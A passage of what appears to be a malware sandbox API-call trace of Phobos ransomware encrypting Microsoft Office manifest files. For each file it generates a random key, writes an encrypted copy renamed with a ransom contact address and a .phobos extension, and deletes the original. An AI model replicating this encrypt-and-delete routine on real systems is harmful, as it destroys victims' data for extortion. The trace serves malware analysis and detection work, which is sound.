dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0053.619] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=1261) returned 1 [0053.619] CloseHandle (hObject=0x31c) returned 1 [0053.620] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml")) returned 0x220 [0053.620] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0053.620] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0053.620] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0053.620] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0053.620] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0053.621] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10d0b0) returned 1 [0053.621] CryptSetKeyParam (hKey=0x10d0b0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0053.621] ReadFile (in: hFile=0x31c, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x4ed, lpOverlapped=0x0) returned 1 [0053.882] CryptEncrypt (in: hKey=0x10d0b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x4f0, dwBufLen=0x4f0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x4f0) returned 1 [0053.882] WriteFile (in: hFile=0x2e4, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x4f0, lpOverlapped=0x0) returned 1 [0053.911] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cc70) returned 1 [0053.911] CryptSetKeyParam (hKey=0x10cc70, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0053.912] CryptEncrypt (in: hKey=0x10cc70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x90, dwBufLen=0x90 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x90) returned 1 [0053.912] CryptDestroyKey (hKey=0x10cc70) returned 1 [0053.912] WriteFile (in: hFile=0x2e4, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x142, lpOverlapped=0x0) returned 1 [0053.912] CryptDestroyKey (hKey=0x10d0b0) returned 1 [0053.912] CloseHandle (hObject=0x31c) returned 1 [0053.912] CloseHandle (hObject=0x2e4) returned 1 [0053.913] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml")) returned 1 [0053.913] SetEvent (hEvent=0x2e8) returned 1 [0053.914] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0053.914] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0053.923] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=1261) returned 1 [0053.923] CloseHandle (hObject=0x318) returned 1 [0053.923] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml")) returned 0x220 [0053.924] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0053.924] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0053.924] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0053.924] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0053.924] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0053.925] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cbb0) returned 1 [0053.925] CryptSetKeyParam (hKey=0x10cbb0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0053.925] ReadFile (in: hFile=0x318, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x4ed, lpOverlapped=0x0) returned 1 [0053.927] CryptEncrypt (in: hKey=0x10cbb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x4f0, dwBufLen=0x4f0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x4f0) returned 1 [0053.927] WriteFile (in: hFile=0x2e4, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x4f0, lpOverlapped=0x0) returned 1 [0053.928] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10ceb0) returned 1 [0053.928] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0053.928] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x90, dwBufLen=0x90 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x90) returned 1 [0053.928] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0053.928] WriteFile (in: hFile=0x2e4, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x142, lpOverlapped=0x0) returned 1 [0053.928] CryptDestroyKey (hKey=0x10cbb0) returned 1 [0053.928] CloseHandle (hObject=0x318) returned 1 [0053.928] CloseHandle (hObject=0x2e4) returned 1 [0053.929] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml")) returned 1 [0053.930] SetEvent (hEvent=0x2e8) returned 1 [0053.930] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0053.930] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0053.930] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=1261) returned 1 [0053.930] CloseHandle (hObject=0x2e4) returned 1 [0053.930] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml")) returned 0x220 [0053.930] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0053.930] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0053.931] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0053.931] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0053.931] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0053.931] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cdf0) returned 1 [0053.931] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0053.931] ReadFile (in: hFile=0x2e4, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x4ed, lpOverlapped=0x0) returned 1 [0053.932] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x4f0, dwBufLen=0x4f0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x4f0) returned 1 [0053.932] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x4f0, lpOverlapped=0x0) returned 1 [0053.933] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10caf0) returned 1 [0053.933] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0053.933] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x90, dwBufLen=0x90 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x90) returned 1 [0053.933] CryptDestroyKey (hKey=0x10caf0) returned 1 [0053.933] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x142, lpOverlapped=0x0) returned 1 [0053.933] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0053.933] CloseHandle (hObject=0x2e4) returned 1 [0053.933] CloseHandle (hObject=0x318) returned 1 [0053.934] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml")) returned 1 [0053.935] SetEvent (hEvent=0x2e8) returned 1 [0053.935] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0053.935] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0053.936] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=399528) returned 1 [0053.936] CloseHandle (hObject=0x318) returned 1 [0053.936] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml")) returned 0x220 [0053.936] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0053.936] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0053.936] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0053.936] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0053.936] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0053.936] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10ceb0) returned 1 [0053.936] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0053.937] ReadFile (in: hFile=0x318, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x618a8, lpOverlapped=0x0) returned 1 [0053.957] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x618b0, dwBufLen=0x618b0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x618b0) returned 1 [0053.958] WriteFile (in: hFile=0x2e4, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x618b0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x618b0, lpOverlapped=0x0) returned 1 [0053.966] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cf70) returned 1 [0053.966] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0053.966] CryptEncrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x90, dwBufLen=0x90 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x90) returned 1 [0053.966] CryptDestroyKey (hKey=0x10cf70) returned 1 [0053.966] WriteFile (in: hFile=0x2e4, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x142, lpOverlapped=0x0) returned 1 [0053.966] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0053.966] CloseHandle (hObject=0x318) returned 1 [0053.966] CloseHandle (hObject=0x2e4) returned 1 [0053.973] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml")) returned 1 [0054.016] SetEvent (hEvent=0x2e8) returned 1 [0054.016] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0054.016] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0054.016] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=1261) returned 1 [0054.016] CloseHandle (hObject=0x2e4) returned 1 [0054.016] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml")) returned 0x220 [0054.016] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0054.016] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0054.016] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0054.017] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0054.017] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0054.017] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10ceb0) returned 1 [0054.017] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0054.017] ReadFile (in: hFile=0x2e4, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x4ed, lpOverlapped=0x0) returned 1 [0054.106] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x4f0, dwBufLen=0x4f0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x4f0) returned 1 [0054.106] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x4f0, lpOverlapped=0x0) returned 1 [0054.113] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10d0b0) returned 1 [0054.113] CryptSetKeyParam (hKey=0x10d0b0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0054.113] CryptEncrypt (in: hKey=0x10d0b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x90, dwBufLen=0x90 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x90) returned 1 [0054.114] CryptDestroyKey (hKey=0x10d0b0) returned 1 [0054.114] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x142, lpOverlapped=0x0) returned 1 [0054.114] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0054.114] CloseHandle (hObject=0x2e4) returned 1 [0054.114] CloseHandle (hObject=0x318) returned 1 [0054.114] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml")) returned 1 [0054.115] SetEvent (hEvent=0x2e8) returned 1 [0054.115] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0054.115] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0054.116] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=3754) returned 1 [0054.116] CloseHandle (hObject=0x318) returned 1 [0054.116] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml")) returned 0x220 [0054.116] GetFileAttributesW 